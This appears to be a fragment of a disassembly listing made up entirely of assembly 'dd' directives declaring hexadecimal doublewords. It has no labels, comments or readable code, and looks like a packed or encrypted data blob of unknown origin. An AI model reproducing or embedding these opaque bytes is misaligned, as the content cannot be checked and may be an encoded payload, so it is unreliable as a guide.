		dd 0B15A0944h, 0F409300Dh, 65C38080h, 0BAD50682h, 49CD7681h
		dd 1FF8BE04h, 4FEBF85Eh, 1512FFE6h, 4D9CFE56h, 57F912F7h
		dd 0E9F68C54h, 0E860859h, 676AED80h, 7E0E16EFh,	594BC71Dh
		dd 8902F728h, 53DF034Eh, 9C933DA8h, 594642AEh, 30C6FE9Bh
		dd 3D61F100h, 8C0F7D15h, 0EDBD4A13h, 0B9BE82EDh, 0D4753AFEh
		dd 24764942h, 0A6BAE82Fh, 6890256Fh, 0FD72E0D5h, 0A83726D4h
		dd 8955275Dh, 2602F785h, 89551F22h, 80416662h, 5D3AFFh
		dd 0CE8178E8h, 0F3603DDh, 7A6DE917h, 0AFE10E89h, 0F103196Dh
		dd 0AC0329F6h, 0B568D7DAh, 780BA868h, 775F3DC4h, 0FC879B69h
		dd 0FE4F89C2h, 481B5800h, 782902B7h, 8EA50F2h, 0BABF29E9h
		dd 0FE5B9693h, 4DFC9E70h, 0A982B0E4h, 132BE1BBh, 0A17BB988h
		dd 9E750AE9h, 0BE2BAAD4h, 0B65EF5Bh, 4D3A54ECh,	68E1F783h
		dd 37663DC2h, 0D05B08B8h, 0C49D08F8h, 0E836410Eh, 0FC731228h
		dd 16098DDCh, 0C5D1C6Fh, 0C51F9ACCh, 2D337E97h,	3CBF3760h
		dd 0DDC48E28h, 0A6637202h, 88E9010Dh, 9A2F08EDh, 664F5EAh
		dd 1F5DEB00h, 20E98E6Fh, 7564AAFFh, 7F3105A0h, 798334Bh
		dd 1F09DF95h, 0C52B717Fh, 22AE9B8h, 263479CEh, 0D91B407Fh
		dd 1239775Fh, 0F363E8E9h, 0D52825CEh, 574C1CE4h, 86F8355Eh
		dd 45066B04h, 0E016D31Eh, 0F500BB7Dh, 8131BC12h, 170D0F3h
		dd 0DF0174E1h, 4BFB6CE9h, 0D2F668E6h, 68868127h, 5FC26747h
		dd 0B0543BDCh, 71170C77h, 136E188Dh, 89BF0DD2h,	38AB3A0Dh
		dd 423FBA50h, 0EC0AA83Dh, 0D917FC25h, 81ED45A9h, 5AA2CBh
		dd 97411EE9h, 884133D6h, 94869C4h, 7A252085h, 0CD5BE919h
		dd 0E77B570Ah, 0CB65C43Ah, 1ED8BE12h, 0FD09B756h, 4F205957h
		dd 1E2151E6h, 228FB802h, 82486CB1h, 231539CAh, 9F4AD7A8h
		dd 51037ECh, 50660267h,	0D66E9568h, 7F0C63B1h, 0B675FBFFh
		dd 50E912CAh, 11ACFDE7h, 0EE00ED28h, 59523A54h,	2731830Fh
		dd 0FA6983B8h, 805CC82Bh, 5EF5CE12h, 588102F9h,	3A068468h
		dd 53567860h, 9CBD3855h, 6419921Fh, 11772585h, 826EDDC8h
		dd 45DD2906h, 9244A463h, 98C2E902h, 0B60B9BEBh,	389E8388h
		dd 0FDD9562Dh, 4641244Fh, 96154749h, 29168FEDh,	10B3BC54h
		dd 2C17095Ch, 0DDC00E33h, 39D9F00Ah, 0ED816BC1h, 247ED1C3h
		dd 0D42780ADh, 41764A72h, 8E62CCFEh, 0D747BE2Ch, 365E1C78h
		dd 0DBF6CD07h, 0FCBA3072h, 20078F64h, 685140C0h, 462F1FA0h
		dd 0E39FD048h, 0DDD68901h, 0A9122AB4h, 0B1C7A2EAh, 0A63BD892h
		dd 833350A6h, 1E612E04h, 77D648E9h, 0A8DE2D68h,	0A1200A14h
		dd 0F00539B4h, 131A3E13h, 0F1EFED63h, 737847E9h, 32D5816h
		dd 297AC203h, 41074441h, 81AA8030h, 0A9BF6CFh, 0EDEC3220h
		dd 95D8B2EBh, 99F981FFh, 139EFEC2h, 0D28B5F8Dh,	5AB98832h
		dd 0A1B05026h, 290D3109h, 188545Fh, 0E7142C71h,	67B63E29h
		dd 0A047552Ch, 25E92D6Bh, 92549642h, 0DA559251h, 9252B3AFh
		dd 48C728CCh, 172FCC58h, 74C9B174h, 65800091h, 0DFB85EC0h
		dd 77DA4B04h, 75E8F031h, 0D1A53504h, 4AB9B8E5h,	5F60EBA5h
		dd 634382E1h, 0A532D3FBh, 0FABA66E7h, 14180FEBh, 0CDAE0159h
		dd 23971C99h, 0F62778CCh, 0C1A97CA5h, 20F52D9Eh, 0D3595F4Ah
		dd 44F929Fh, 0F71D30E7h, 42C6D2D1h, 768C6825h, 9562F4FCh
		dd 96FE09C0h, 2F026C88h, 0D74689FFh, 0A95C4A8Bh, 446B9AA1h
		dd 55F2AA75h, 0EEA9E7E7h, 0FE52961Ch, 0B3BA6A20h, 3C0D3E9Bh
		dd 77481AADh, 5D1394E1h, 0BA619Ah, 7A0B36BEh, 8BB5CDE9h
		dd 0B7485FD5h, 389D76BFh, 4A396838h, 162CAA7Fh,	6B7BB7FAh
		dd 690DB8ABh, 647E9CB1h, 74B2AB55h, 97C3D12h, 3D080106h
		dd 2F862807h, 48F6DA5Ah, 0CEFB575Ah, 0E2B6E982h, 9310DFFEh
		dd 0C7C1CCA9h, 0D33454EAh
		dd 0F2E8EE8Dh, 7FA82226h, 2768E640h, 8F15956h, 524EDC83h
		dd 0B5FBDC11h, 209D00A3h, 735EF90Ah, 9A0860B1h,	473A4125h
		dd 0C24DC277h, 55B1A6E4h, 0C728DF2Dh, 0B8FB12D8h, 0E9CCE563h
		dd 20CC915Ah, 0C9659480h, 0E6FC2989h, 33F95772h, 0D210FD6Bh
		dd 81A29580h, 0BEC916D5h, 0AE62097Ah, 0C082A6DEh, 0FD5F855Dh
		dd 7E25D147h, 6E9A83BFh, 1102125Dh, 8265EEC3h, 9761FD67h
		dd 0FA46C41h, 52577033h, 40109E1Eh, 0AA2FEC51h,	72A80A13h
		dd 1620B27Eh, 62044C68h, 8B75B0D6h, 69C557D7h, 0EDC6B0AFh
		dd 0C86814D5h, 63099C51h, 79A4B5FAh, 0AFC0EE5Eh, 2FE9F201h
		dd 1893139Ch, 8020A2C1h, 1CC8C365h, 0CA012E2Dh,	208EBD6h
		dd 0E2B685Ah, 628D515Dh, 1039167h, 97F858D0h, 0F73F0B72h
		dd 0AC5B42D2h, 948B1900h, 0B1EA2975h, 295C7022h, 686930B5h
		dd 0B2165E61h, 0E545860Bh, 0B362BF87h, 4BB3F055h, 0C489A25Dh
		dd 76FCBCE9h, 0FF2D5D12h, 0A5B54F87h, 2026E9ECh, 0CA5485E2h
		dd 597DFFEh, 7B90685Ch,	13B76DCCh, 0B04AE935h, 5C90667Ch
		dd 7059A42Dh, 2205185Eh, 434A0813h, 0E87D29FEh,	0E90E2D62h
		dd 1C08FD06h, 0B6772D99h, 4AB59284h, 5F68ECCBh,	48B64D38h
		dd 3C26DBC8h, 1D0A0FCh,	94C5377h, 0AD73F281h, 6882030Dh
		dd 5D09FF78h, 55AFA2FBh, 0E917C51Ch, 10F3B6C2h,	0EC1A3349h
		dd 747DC6ACh, 0D4C6EF34h, 5A4A1C97h, 0DECD28FEh, 0F725ADBEh
		dd 2A308044h, 0E3B13294h, 0B563F080h, 3955E3F8h, 96FF7CCFh
		dd 91EA5F57h, 0E21FCF4Dh, 0BAE8CE18h, 315CBD0Dh, 2968550Eh
		dd 0B6BC1851h, 0F52803ACh, 0CAED805Ah, 0C5ABFDB3h, 9AB353A8h
		dd 71C33B8h, 0C3160904h, 0D011CD80h, 0C6FE2EE6h, 0C1BF1346h
		dd 0C3058C62h, 35759984h, 10A34B0Ah, 30166075h,	1F81E8E6h
		dd 82125102h, 0DFDAF52h, 0A417E9B0h, 0B93D196h,	5D28C7E9h
		dd 0E5F280F8h, 48C2B765h, 425FB00h, 15B02CD6h, 3409E0Ch
		dd 0BC0C0Bh, 2DAFBEBAh,	1DF217B3h, 0E925EA90h, 75D0E22Fh
		dd 0DD74CECAh, 6FE28809h, 0C15C9325h, 0BB525685h, 58602EC2h
		dd 0F7094C25h, 0CF69D6F1h, 0FBD2EA4Bh, 7E3BF2E7h, 0FEFD12C7h
		dd 74F2EFFBh, 6D282D93h, 236885F1h, 31E846EEh, 60976AFAh
		dd 7219493Fh, 0F0050091h, 0F67C670h, 754A4E8Eh,	0B4B27CFBh
		dd 768CE042h, 4D005C75h, 8968C488h, 0FC2BE332h,	30BE6EFCh
		dd 7F865961h, 0A2A12A80h, 0BA7DC53Ah, 0EA93AFF2h, 55E90128h
		dd 16E8AD0h, 3BC75067h,	0FAB46ED9h, 0C83C5E80h,	0B27CF7Eh
		dd 41BF657h, 0AAAB528Ch, 0ED01D3B8h, 0CB1A9638h, 7B142121h
		dd 0A2B44B67h, 0C1AB42D5h, 0AF25BFACh, 0F6BD657h, 0BD2E2EAh
		dd 34FD544Eh, 0FE8F8127h, 0C7FCFD6Fh, 0CC8C399h, 0F741F8D3h
		dd 5D75CF0Bh, 0CFC5DF0Ch, 0DB8ACABEh, 0C3D7BC4Fh, 0C87E47BDh
		dd 609FE962h, 68BA60EEh, 0A264C25h, 0C10A2689h,	0AE13A1E6h
		dd 89EA4053h, 0E030EC15h, 6FEBAFC1h, 5E30C25Dh,	8C714E03h
		dd 3940AC97h, 5EDCE341h, 0FDE2EFF6h, 90AD7AEDh,	9D206857h
		dd 5545FDDCh, 2327D201h, 0FC7F37D1h, 0F98A09BAh, 7CFDF54h
		dd 0C6BE1D3Dh, 0C5890680h, 0B7B36858h, 0E9135446h, 95C65FBh
		dd 0C7DB9119h, 5F5248ECh, 6F10AE3Eh, 465B2508h,	46683833h
		dd 8FC9B2D8h, 90DC9D02h, 14A2BE07h, 82DD629Eh, 0DFDF8960h
		dd 6CF78A1Ah, 0FA0DEC07h, 139548D7h, 1834B001h,	21FD013Fh
		dd 82080543h, 637AEA44h, 0CDE6087Eh, 5B8A331Dh,	3C7401BDh
		dd 86E927E7h, 6E203B35h, 63680151h, 5932CA4Ch, 92ECBD81h
		dd 340962B0h, 699DAF08h, 0D560AB97h, 0BE9AF83Bh, 4D8287F1h
		dd 0D03AD838h, 0A5331239h, 0C5080146h, 2F1642BFh, 80F7A4B4h
		dd 62347352h, 1D0F0C30h, 556DBF5Eh, 5AFD153Ah, 9D4E2D43h
		dd 53675F76h, 0DE2E70A2h, 880C5162h, 25BB4E1Fh,	553F2B7Dh
		dd 5E0A206Eh, 0F4F6D5E9h, 0A7F1DE49h, 13364477h, 0B84E02E9h
		dd 4652CFE0h, 4A7D1B95h, 1DC1AAC5h, 0C930FD29h,	0D721BD01h
		dd 0E32F2C59h, 33590EDAh, 0B7CBA0Fh, 0CB4C0061h, 0B745F848h
		dd 8835252h, 0F2141C45h, 0D6B6F0D5h, 0C5C6AE18h, 26607C0Ch
		dd 10376471h, 905324DFh, 584B5500h, 96A2D40h, 892E0B48h
		dd 5B96C1DCh, 9D68AD60h, 0BDF9BF64h, 0CC2DDCC8h, 0DAE22598h
		dd 9DC6FA0Eh, 0C2F072D0h, 4E8D0F17h, 0BD2ED1B1h, 95B381B2h
		dd 0DC35C789h, 0DE74FE2Bh, 0EC2ED0D9h, 21ADADFh, 775E4A87h
		dd 82085FEh, 2BF2C489h,	0DF78EDE1h, 16C7E6B4h, 0B2ED5B1Bh
		dd 5B364D7h, 42EE013Ch,	71E95591h, 5B00F456h, 0EC30DAB4h
		dd 0BAB5F659h, 6568151Dh, 0A7809F28h, 0E9638D72h, 89096E5Bh
		dd 78095D04h, 0FA9705F8h, 6FA937C4h, 0C4F70510h, 529192C2h
		dd 2F9A340h, 0BA785A0Fh, 0DB3F6538h, 0ED077794h, 0B82165Eh
		dd 22CE3E9h, 3E63BB34h,	0E5D17E5Dh, 0EDBA8Bh, 0D3090B74h
		dd 0E94B0C5Ah, 5C85C540h, 40802457h, 0DE2F7FE9h, 4BC953FEh
		dd 8A73B6FDh, 95567DE6h, 713B68C1h, 0CA88312Ah,	0D9E62B0Dh
		dd 241BBF25h, 7B2EB7C1h, 5B3E85CCh, 0A62CFF4Dh,	527C0168h
		dd 0F75E0A55h, 4EC7BD6h, 25F4E639h, 14D4278Eh, 22FE7A0Bh
		dd 56DCA59Eh, 0BDB44FC9h, 81A3504Bh, 5EAFF711h,	4B74DA8Ch
		dd 0C3BDE860h, 0E9A8028Bh, 8A20CA21h, 7A0F82B1h, 9B582A29h
		dd 0DA295A13h, 0D4E3F367h, 0B6FEF48Dh, 0B56248F0h, 0AD8450E2h
		dd 16F81210h, 585A8320h, 990628ACh, 0FC486B31h,	0C22EEC01h
		dd 0BD41E930h, 0C5CCEADh, 0A3DDA97Bh, 0F8D3EB64h, 0EFAB76C1h
		dd 96D3AD2Ah, 0AF44D1BBh, 49E23B36h, 4413D4C4h,	0E012B685h
		dd 245A9874h, 0EA4413E6h, 78CC6B2Dh, 409FACD8h,	4EFBF5CCh
		dd 0D070AE01h, 0CAA673E9h, 849F355Fh, 0B26FDC68h, 152478F0h
		dd 7CC02336h, 1B4AB520h, 3F16C5E9h, 0F1BE25A4h,	33EC7F6Fh
		dd 0B6C3E8BDh, 4DDA261Ah, 27162A4h, 0F839E908h,	0CADFB668h
		dd 0BCF72D2Ah, 85E697F1h, 0A9092E5Ah, 0BDC3E8D2h, 0CA90838Ch
		dd 8D3A6866h, 1C5F4949h, 5FBED088h, 0D92301ABh,	2FAAB8E9h
		dd 22B1C3D1h, 77FC55C2h, 0FB6178C9h, 2033D2EEh,	2CA01B7Ah
		dd 64954CC5h, 0A74BA184h, 9C14F23Eh, 5896EAD9h,	0AD891E7Dh
		dd 0F988B421h, 38442E5Bh, 32AEC6A6h, 0C1D05E34h, 9ACF58BDh
		dd 0A26812B3h, 3ECEEE3Fh, 52CAAE4Fh, 6305492Fh,	6FE0AE45h
		dd 0CB85BDF0h, 4F850428h, 545305EBh, 0E3BE4506h, 130BBD7Ah
		dd 67AF0EF6h, 9FE989C8h, 0D501B322h, 0A7A26575h, 4A6414FFh
		dd 6BCBA134h, 6EC49DB2h, 1F680286h, 883C512Eh, 0B9019B67h
		dd 33A36C38h, 0BC7CC3E8h, 1555829Eh, 0B4C06703h, 63D2CF93h
		dd 136DE2FAh, 2EA4EFEEh, 1C514406h, 0CFB756BDh,	0BFD2C24Eh
		dd 5E21BB2Ch, 0CA49EBD1h, 583361ACh, 0BEBCF70h,	55D00A17h
		dd 513918F6h, 5ACB6A08h, 0DC13DF57h, 0EDF9643Eh, 62A11044h
		dd 3912E818h, 0C40066FBh, 8F95DC24h, 3CFD2218h,	0EB80B15Eh
		dd 1FE0EDD5h, 810259F5h, 63F6A3F3h, 0E9C88716h,	8F0F0BA8h
		dd 1B0E310h, 41682Dh, 8166607Bh, 1E850CD2h, 9C250AE8h
		dd 5038D72h, 93BB7F78h,	0DA80C8CCh, 6158092Ah, 6420565Ah
		dd 0DB816031h, 769C790Bh, 688A0033h, 58144BFBh,	1331E761h
		dd 0E4891253h, 8603397Eh, 0D574DC35h, 0D8DDF830h, 5E4E0C4Ah
		dd 8C401D1Ch, 18D4F038h, 623D14E8h, 0FBAB0751h,	20255604h
		dd 2054D624h, 0C3420200h, 67E60E7Bh, 66570410h,	0C0040ABFh
		dd 83F681FFh, 4BEBDE06h
		dd 0B4D06E8h, 907E265Ah, 81535F00h, 50A39DFh, 0FB5F6A62h
		dd 26C4F600h, 0C3601655h, 0BE931F2h, 0E4493D00h, 25F7E0D5h
		dd 598E6FDh, 8961956Ch,	9A31F31h, 7E017574h, 0D4F94903h
		dd 0F0A01EAh, 0F5FF6785h, 0D1E88183h, 16DE8820h, 0B976050Eh
		dd 0AADD6EB8h, 0C8BB5300h, 3E7A0B25h, 0E90022B7h, 9F3105E5h
		dd 9001C07h, 731DC377h,	3EFDA397h, 0EA29BB5Ch, 0AF92E004h
		dd 22184D43h, 9F18E30Fh, 1FF60Bh, 6B47830Dh, 0F6346C15h
		dd 577D4600h, 9F3A0322h, 6EA0192Ch, 85B298Ch, 0D417FF60h
		dd 8DC1443Ch, 445CAF44h, 2B483BD0h, 2E885542h, 408F1F31h
		dd 202669CEh, 9EB2D5C8h, 3A4D003Fh, 0B4D7CE28h,	4E1D40A1h
		dd 5F007165h, 0DCCF6EB3h, 49F30030h, 0CB72AF57h, 0F00731DFh
		dd 70EBE878h, 0BD4028F0h, 7C07A89h, 398DE4CFh, 27005F29h
		dd 0E0EEE3F4h, 64F6C900h, 70187883h, 0F89F0110h, 0BB9A37D5h
		dd 0D976D436h, 0C533F00h, 5903FFADh, 4B080040h,	0BF8CF87Ch
		dd 2E13B64Fh, 3600A98Bh, 0B70FEE83h, 0E88903F0h, 386F8CEDh
		dd 0A61F7EA0h, 0BE3B9E00h, 1A024065h, 3C9D009Bh, 0D0ABA7BFh
		dd 0D9B00BC8h, 9D65500h, 0C74FD4F3h, 738E6CCh, 9F1C752Eh
		dd 550B40EAh, 0B539C2C0h, 81A638A1h, 0DDDEBC6Dh, 1DD0BBC9h
		dd 11DB004Bh, 1325B4Ah,	0B776C2Fh, 0B5C0B100h, 0F94EFC97h
		dd 48C27184h, 0DA1404E4h, 5B00FA2Eh, 0D3F5CF28h, 8100422Ch
		dd 0F7CD2A57h, 412DD5h,	4AFD2480h, 0C408DF17h, 776D8616h
		dd 0ECE21D00h, 688BD7h,	96FE0176h, 0F4786A66h, 0E287100h
		dd 0C41381A5h, 0BA563B30h, 7766ED00h, 2E934DFh,	43091F16h
		dd 39B09E07h, 2ECC1B70h, 0F17E487Ah, 74884F03h,	0FEE8E50Ch
		dd 4E006B83h, 3BEE0B7Fh, 27928A5h, 0A2BC8F19h, 74400E17h
		dd 0F401E063h, 847E127Dh, 997082EDh, 7BF60062h,	0E80EB86h
		dd 55005D16h, 0B3460CEFh, 3EFC93E3h, 42B16F28h,	2029C111h
		dd 0DF3DC2C6h, 0CE1D00AFh, 9ED2C462h, 0B822041Fh, 0C0A0AE1Ch
		dd 714F0E63h, 4A13E0E9h, 0AFD86300h, 836BB4E8h,	73A6002Ah
		dd 0F69108F4h, 6200A934h, 844CCAF3h, 35055FEh, 0BADA2F5Ch
		dd 0B0E8DBBDh, 0E100AD8Dh, 2717C409h, 24BEC337h, 47447FD4h
		dd 1CE9958Bh, 0B4FF00DCh, 4C25F482h, 9981CC6Ch,	0FA9504C1h
		dd 873D491Fh, 51FB33A8h, 0C16F87DFh, 0FC557394h, 0DA384542h
		dd 474C001Dh, 2B630A04h, 1936038Ch, 0FA15724Bh,	49107D80h
		dd 0E0288800h, 0EBF8A0AAh, 0E1413FBAh, 7D82D580h, 0DD7B5AFh
		dd 5069C0A1h, 4E2416F8h, 0E44D9C1Ch, 0C77826D8h, 0C81D01E6h
		dd 81FC125Bh, 0CADCDC7Ch, 9CBA8901h, 0A645349h,	32AAC4h
		dd 0D584C323h, 51E69755h, 9615F00h, 78C910D8h, 777072A3h
		dd 9F0700DAh, 15AAE1C6h, 4C00AE0Ch, 2DD123D4h, 7E5DD47h
		dd 603894D8h, 84007E52h, 55EB2518h, 47458509h, 5D30385Bh
		dd 7E53006Ah, 5405C022h, 0B30985A6h, 8024D2h, 0CE2351B0h
		dd 5F61307Bh, 2CA84BF1h, 35CAB50Eh, 0AA4A40ACh,	39CEB938h
		dd 4800AE33h, 7DB42DB7h, 0CF903446h, 0E4AB4C05h, 0B458C6D0h
		dd 4D1E910h, 0F72A85C5h, 0CA389017h, 20853A9Ch,	1701E08h
		dd 0FE8500B9h, 28C74263h, 0A87D1300h, 54C238F6h, 0F3D300EFh
		dd 0E972B959h, 0C700F776h, 51D56D2Ch, 2B265h, 0B83F1E92h
		dd 0F718833Ch, 0E04A1400h, 0D0DD756Eh, 94A7124Fh, 304000DBh
		dd 5279ACE3h, 586BE726h, 30F9730Ch, 0B97A00C0h,	6C167033h
		dd 0A0E0F4A1h, 5CC20F3Bh, 0ACF50041h, 0C1232FA9h, 4EB00086h
		dd 1E584B48h, 0AA00DEF3h, 503C26CCh, 9879A0A5h,	253300C8h
		dd 53EC6D4Dh, 0A4000EC2h, 0E2424BDAh, 79B886BCh, 7278B4h
		dd 29700992h, 8030D35Dh, 50990600h, 3E716DEDh, 0DB34070Bh
		dd 50E6C0DDh, 7E4A6748h, 3385200h, 58CEE0AFh, 3B6D0030h
		dd 1F9CF7E4h, 55006906h, 7BFC4E8Ch, 6B8A68h, 1CD077ECh
		dd 2CDFF1B8h, 0A8B0BAFAh, 0F303D7E6h, 259480BEh, 62B4C8C6h
		dd 7F574A4h, 0F803E4A2h, 0F932F3E1h, 0B6B8AEE8h, 0E4FB56E4h
		dd 6E395A3Eh, 0F06BB083h, 0B10A66h, 725E287Eh, 2A1E1686h
		dd 70FD48h, 85D58996h, 297A02h,	97419447h, 0F99A443h, 6A2F1F1Fh
		dd 8E81B45Eh, 0F6B16515h, 1D9E4060h, 0C06C1D91h, 0CE12BB1Ah
		dd 3D3AD963h, 0D58F8E0Eh, 0F7534124h, 6AFC939Fh, 63F005Ah
		dd 0E5B2CCBFh, 0B800F808h, 0E6F73C75h, 902C68Dh, 0B5E76FF5h
		dd 2E663E80h, 300EF033h, 0AE16F3DFh, 0F875E9E2h, 32CF0FD2h
		dd 35E06744h, 33B7DBCh,	5CB4D32Ch, 31B2BB00h, 4DC38Dh
		dd 0AD4E2BB3h, 0C676CAF9h, 66A43701h, 5D6BCB49h, 0CEE05C71h
		dd 2851391Eh, 0FD4A21Eh, 1CC01AC8h, 0AAD29C57h,	5E19CB0Eh
		dd 0A51E81D9h, 25C9C69Bh, 601844D8h, 1D241199h,	0E83C6945h
		dd 0BF4C57h, 3F9AAFCEh,	0E238A9B2h, 0D82A00F8h,	0FCEAE5B1h
		dd 4E1E2F5Fh, 0AA47AE2Dh, 0C5D0523Ah, 0E8B4B2E4h, 0E3BC0024h
		dd 2C233F94h, 0E0B0C417h, 21448900h, 6D98BEAh, 0E1150340h
		dd 1FADF6Eh, 0A91671A0h, 4C029C0Bh, 0A00D0EF6h,	1DF9E887h
		dd 0C56E0F85h, 91E259BEh, 3040B8DBh, 0A300C817h, 203E9EB1h
		dd 0C61A2Dh, 4092B5A7h,	0C91C2F26h, 0CDB6A81Dh,	0EC077700h
		dd 94F716h, 1F81AB78h, 37D2FAC8h, 10885913h, 81D17C4Bh
		dd 0F8318588h, 1D4C824h, 4CCECCFh, 0E84FC40Bh, 3009B48h
		dd 89DA8AE4h, 5674C7h, 0E337111Ch, 94D96853h, 6FD4BD02h
		dd 60B46BA2h, 502E2508h, 913486A0h, 0F07040F4h,	0FDEE2D9Dh
		dd 0F8A8D728h, 78F8E100h, 5F2C98C6h, 0D17A51h, 6DC5CBAFh
		dd 0D753AE19h, 90596600h, 95E45D7Fh, 9601017Eh,	134BFE02h
		dd 0F17CD1C8h, 0B44EE441h, 0C3B8EBFBh, 16030708h, 74BBFDD3h
		dd 6A4FA873h, 0FDD0091h, 72156559h, 170F97E3h, 0E3C793DBh
		dd 0C0481C37h, 0D78F58h, 24B795FBh, 0D3E4D0ADh,	5F01E190h
		dd 0D5BF6498h, 1864B93Ah, 69030028h, 0DBD2B60Bh, 8D52F90Ch
		dd 3DBB0114h, 54469F5Ch, 31EF8850h, 3C28B0D1h, 5B92EEC7h
		dd 0F4700E5Eh, 79018E8Eh, 0E0851220h, 0C1C8A58h, 83C0266Dh
		dd 0D895BFAh, 8E7B3F4Ah, 0B76EB8Eh, 88F36E41h, 75118FE8h
		dd 77B9C26Dh, 80C642C7h, 6FEADF70h, 0AB4505FBh,	803A7F49h
		dd 35E7E414h, 0B6F20C00h, 0DD7C9EBBh, 91A7010Eh, 40FA7004h
		dd 261EEC6Dh, 0A1833200h, 71EEE1DAh, 527017Eh, 86571F8Ch
		dd 0F523E408h, 0B009A100h, 0FD3561E1h, 0BE53CD3h, 6B7A2D00h
		dd 0C821178Fh, 77F3BE02h, 40B9482Ah, 0A4A36Ch, 22325547h
		dd 92C709DCh, 56796B00h, 0D8EBE1F4h, 7A6C3E85h,	0BB640583h
		dd 40D812CFh, 6D028F54h, 0E706DBB3h, 1CD46043h,	0C881204h
		dd 896C00D2h, 0D032F435h, 0F2CDC91Eh, 0E40060D2h, 0B8BF9C1Fh
		dd 4E78DEAAh, 0EAA0E2E3h, 0DBA3C224h, 0E6A10E03h, 0C972F6F3h
		dd 0F880300Dh, 0DDB9EDFAh, 0FE0093CAh, 38559703h, 3A2A68Dh
		dd 0C7E9BCF8h, 31C375CDh, 0A133001h, 8B5DF495h,	3047D8h
		dd 0CF8AC51Dh, 0A560A908h, 3A6B38C0h, 822EF6h, 0F7C0133h
		dd 4341954Eh, 838E573Fh, 6FE1290Ah, 7C693C4Dh, 0FC2EE200h
		dd 0ABB148CFh, 7181AE00h, 17260773h, 368514F3h,	2900BDC3h
		dd 302EEDBAh, 0AC5CDFB6h, 6DF9003Eh, 99F32D1Ah,	7DA800A0h
		dd 7FC740Fh, 0ED019793h, 92DAD933h, 0E030EEE2h,	6E6C0A9Fh
		dd 8939F4h, 0AC1B472h, 0BB00D56Bh, 0D2D57B9h, 7DCF8A1h
		dd 7D0471C9h
		dd 33F110D7h, 9C013D86h, 523207E3h, 0D9309D0Fh,	8ABD00F2h
		dd 0CA3341B2h, 0A401503Ah, 0EE35FF3Ch, 0E1DF7A7Bh, 0F5C1C928h
		dd 7248F080h, 0B10B1C38h, 985FD326h, 601AA00Eh,	0D04FF160h
		dd 0D76E00E9h, 31976851h, 9E0BAF3Fh, 802AC45Fh,	4B1B35A0h
		dd 0E91F00D4h, 0A242CF78h, 1DFA76B0h, 7B04441Eh, 0B5D64900h
		dd 108A59Bh, 4A4F6D0Eh,	30FC20F9h, 84009274h, 0E30F2C14h
		dd 3CAA38Fh, 23BE43BAh,	66F8F104h, 133A7752h, 53120080h
		dd 0C43BB594h, 0E5D700D8h, 768A513Dh, 0D600CA11h, 93A79CC6h
		dd 0AAF69h, 0D0FBD26h, 0EE0B7ED7h, 0A69F1E06h, 7278FDB1h
		dd 0CA91031Fh, 202F4985h, 0B9A5E4C0h, 3F76DE00h, 4F8A0910h
		dd 263781Dh, 0AF8220C3h, 0E2804B22h, 917B67D8h,	0D7B36B00h
		dd 9258A110h, 83BA12C0h, 2C870022h, 0E8454836h,	81E2900Fh
		dd 0F7F60091h, 987312F9h, 78EC0324h, 50CBBA79h,	8EAD4498h
		dd 15AF5B00h, 48038A34h, 1EC3B8E8h, 0C0D0720Ch,	8E942AAAh
		dd 5900B42Bh, 90E5B79Fh, 3E715BF8h, 0E38363DBh,	8904756Ch
		dd 3D826A00h, 0ADA9A5D8h, 1F64003Ah, 0F576B133h, 2A091796h
		dd 0E20AECBFh, 0F7116058h, 0B5220B9Eh, 14A049C4h, 0C9B033D3h
		dd 2F06B1EAh, 0AE35CF4Ah, 45BF02B0h, 0C746B954h, 43C07AC3h
		dd 0C8F1BB56h, 8B0022DEh, 0DC42587Dh, 3C15D3C5h, 4FA389h
		dd 0C1DDD8Ch, 0D7066865h, 0C31E01B3h, 0C7D30518h, 32D413EBh
		dd 0A90CDB18h, 78B5078Eh, 40DD808Fh, 0B09B67A3h, 0D582B61Fh
		dd 0E54C3800h, 0B8A91234h, 0EC42039Ah, 0EBB7DBC5h, 70640E6h
		dd 0FA2D3513h, 0C5FC0021h, 60FF7AD1h, 0B805D750h, 493ABB62h
		dd 9B6B1803h, 1C8878B7h, 18C60434h, 420D3840h, 9D6A2B14h
		dd 4B3A1410h, 4065181Ch, 7B82E0h, 0D26C1554h, 1C1E3B29h
		dd 1D999501h, 9346735Eh, 0A70AC080h, 24711BA1h,	0F18F4100h
		dd 6EA54AEBh, 0D4660789h, 203B77D3h, 9B49C6BFh,	0A1607100h
		dd 24D13688h, 0A95D00A0h, 0BF58B921h, 300D5BDh,	0A8E59B4Ah
		dd 3BBB02Dh, 8BA454E2h,	97C82CACh, 6B006F59h, 3F0CB781h
		dd 0FDCCB8h, 0D5137CA7h, 0D64FA618h, 4E7DFB00h,	96BA6343h
		dd 0BC5B001Ah, 0B8DD03D7h, 0B7001574h, 882BC5E9h, 5D2697h
		dd 67EB7DC7h, 0EDB0D7FCh, 478ECB00h, 3683A105h,	7F8F0A43h
		dd 8390F820h, 0F96EDE0Ah, 838FB69Bh, 4FADD8DDh,	0E94822A4h
		dd 0DC07A11Dh, 4D3ED7EDh, 0A0EF21C3h, 0C0E6B424h, 0B8D63B11h
		dd 6E13651h, 1AD90C38h,	8749EC22h, 0BC68AB06h, 0E081E18Ch
		dd 2075186Dh, 626A11D8h, 6706E608h, 36EA0054h, 5E82CD7Bh
		dd 184F884h, 21D74F66h,	0C9420CE6h, 7408A8C6h, 561620C1h
		dd 3B00B9A3h, 66194DF8h, 0F10D117h, 12B12CF4h, 189605Eh
		dd 0B4C57E64h, 0EC5DED51h, 0D012140h, 0D0A2D75Fh, 38F0577Fh
		dd 3C32F062h, 223B800Ah, 0FCBAD1E0h, 9E7DA73Ah,	0B3962F00h
		dd 0C39D3414h, 3E7802h,	0BB37F8A5h, 983801CAh, 1322A21Eh
		dd 2EF9AF00h, 7B269B9Ch, 0E9E825h, 8ACA31Dh, 15BC7C36h
		dd 0A0845D00h, 0AAA210FBh, 0A8330006h, 0A93813ACh, 320A029Ah
		dd 3815079Dh, 0C39977E3h, 184AC72Bh, 8826254h, 0DC09A28h
		dd 0CC58BB38h, 0B3A7246Dh, 9900EC26h, 0C5823DFCh, 0A90C01E9h
		dd 861208A6h, 0B317E0BBh, 13F5A003h, 0F27077Dh,	87081CD1h
		dd 392D1606h, 0C454D4B4h, 0F045B309h, 8D0A4230h, 0C81F83D1h
		dd 7D30C781h, 218B57h, 4024A502h, 9208A300h, 56170C40h
		dd 36181278h, 0A816D239h, 0BA480844h, 92CF3E64h, 0F8029165h
		dd 87E76CB7h, 493F2C2Ch, 6D00055Bh, 47C90C33h, 1A3C0C88h
		dd 0D3A930E0h, 926CF036h, 4448A058h, 8D3D3E12h,	1A4062EBh
		dd 66A47035h, 59C540DCh, 3E5459E0h, 37281A78h, 3F4358B7h
